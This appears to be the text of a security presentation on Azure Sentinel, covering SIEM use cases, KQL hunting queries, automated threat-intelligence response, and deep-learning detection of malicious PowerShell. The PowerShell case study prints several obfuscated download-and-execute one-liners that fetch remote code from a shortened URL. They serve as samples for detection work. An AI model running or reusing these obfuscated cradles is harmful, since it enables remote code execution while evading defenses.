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a new world to defend_
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cloud defender mindset_
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the challenge_

traditional siem’s require a lot of infrastructure and maintenance

collecting all the data and normalizing is a daunting task

a lot of signals; how do we make sense of it all

too many disconnected products

defending the cloud requires a different skill- and toolset
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azure sentinel_

cloud-native siem

limitless cloud speed & scale

a.i. built-in

easy integration

only pay for what you use
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general available_
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no need for security center anymore?_
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architecture_

unlimited scale

kusto-based

enterprise-grade platform



integrations_

Enterprise Security



Enterprise Security

connectors_
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finding anomalies_
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use cases_

At 09:17 an Inbox 

forwarding rule is created

At 09:13 an Unusual Login 

is done from Kazachstan

At 09:13 an Anonymous IP 

(tor exit) is found

At 09:16 a potential 

Suspicious PowerShell 

script is executed

Wortell SOC

Potential data exfiltration!

Azure 

Sentinel
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use cases_

Suspicious PowerShell script

Suspicious inbox forwarding

Anonymous IP address

Unusual login
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hunting_
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security operations center_

(advanced)

hunting
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time series visualization_

Scenario: find anomalies in network traffic

let starttime = 30d; 
let endtime = 1d; 
let timeframe = 1h; 
let PrivateIPregex = @'^127\.|^10\.|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-1]\.|^192\.168\.’; 
let TimeSeriesData = CommonSecurityLog
| where TimeGenerated between (startofday(ago(starttime))..startofday(ago(endtime))) 
| where DeviceVendor =="Palo Alto Networks" and Activity == "TRAFFIC"
| where isnotempty(DestinationIP) and isnotempty(SourceIP) 
| extend DestinationIpType = iff(DestinationIP matches regex PrivateIPregex,"private" ,"public" ) 
| where DestinationIpType =="public"
| project TimeGenerated, SentBytes,DeviceVendor
| make-series TotalBytesSent=sum(SentBytes) on TimeGenerated from startofday(ago(starttime)) to 
startofday(ago(endtime)) step timeframe by DeviceVendor; 
TimeSeriesData
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time series visualization_

TimeSeriesData
| extend (baseline,seasonal,trend,residual) = series_decompose(TotalBytesSent) 
| render timechart with (title="Palo Alto Time Series decomposition")
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jupyter_



automatic 

advanced hunting_
an example
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1+1=3_

Azure 

Sentinel

Microsoft 

Defender ATP

Threat 

Intelligence Feed

Azure Logic 

Apps

Scenario: CERT publishes new IOC’s based on threat intelligence, and 

SOC wants to know if endpoints connected with those IP’s in past 30 

days, and if so: isolate the endpoint & follow-up with response team.

Wortell SOC, 

MISP, Mimemeld, 

or any other
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day zero_
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day zero_



Enterprise Security

automate_

Microsoft Defender ATP

Microsoft Threat Intelligence
Known malicious IPs and FQDNs

Automated Hunting
Isolation

Azure Logic Apps

Playbooks
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coverage_
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active directory_
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investigate_
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case study_

detecting malicious powershell commands



Enterprise Security

malicious usage of powershell_
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powershell obfuscation_

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

Invoke-Expression (New-Object Net.WebClient). 
"`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')

Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T").
"`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')

Invoke-Expression (& (GCM *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T").
"`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')

. ((${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d").
"`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')))
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decoding powershell command lines_

Invoke-Expression (New-Object 

Net.WebClient).DownloadString('http://bit.ly/L3g1t') 

Command line: before obfuscationRules don’t work well, because too many regexes 

needs to be written

&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ 

"BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' 

+'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' )) 

Source: Bohannon, Daniel. “Invoke Obfuscation”, BlueHat 2016.

Command line: after obfuscationClassical machine learning doesn’t work well, 

because every command line is unique 

No discernable pattern
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new approach needed_

•

•

•

queen – woman + man ≈ king
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an example_

Distinguish what doesn’t match

Linear relationships

$i $j     $k    $true $x

bypass    normal   minimized   maximized   hidden 

DownloadFile - $destfile + $str ≈ DownloadString

’Export-CSV’- $csv + $html ≈ ’ConvertTo-html’
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need a big dataset to learn_

Tokenize
1.4M

distinct

tokens

368k unlabeled .ps1 

and .psm files
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productization_

Model trained multiple times per day 

Size of data: 3.5M records/month

Completed within hours

Classification runs on demand

Completed within seconds

Dataset
True 
positive rate

False 
positive rate

Previous Method 37% 0.1%

Deep Learning 89% 0.1%

52 points improvement! Paper: https://arxiv.org/abs/1905.09538

Productized in Microsoft Defender ATP 

https://arxiv.org/abs/1905.09538
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Correlated rules 
(KQL)

User Entity Behavior 
Analysis

Bring your own ML 
models

Pre-built Machine 
Learning models

Threat Detection and 

Analysis

Azure 

Sentinel

sentinel :FUSION
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machine learning_

Use Case: 

anomalous access to file shares



better together_
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protection across the attack kill chain_
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ms threat intelligence center_

https://twitter.com/jdallman/status/1205179476830613506

https://twitter.com/jdallman/status/1205179476830613506
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https://go.forrester.com/blogs/make-no-mistake-microsoft-is-a-security-company-now/

Make No Mistake – Microsoft 

Is A Security Company Now
Josh Zelonis, Principal Analyst      Mar 22 2019

https://go.forrester.com/blogs/make-no-mistake-microsoft-is-a-security-company-now/
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stay up to date_

www.maartengoet.org security.wortell.nl

http://www.maartengoet.org/
https://security.wortell.nl/
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https://security.wortell.nl


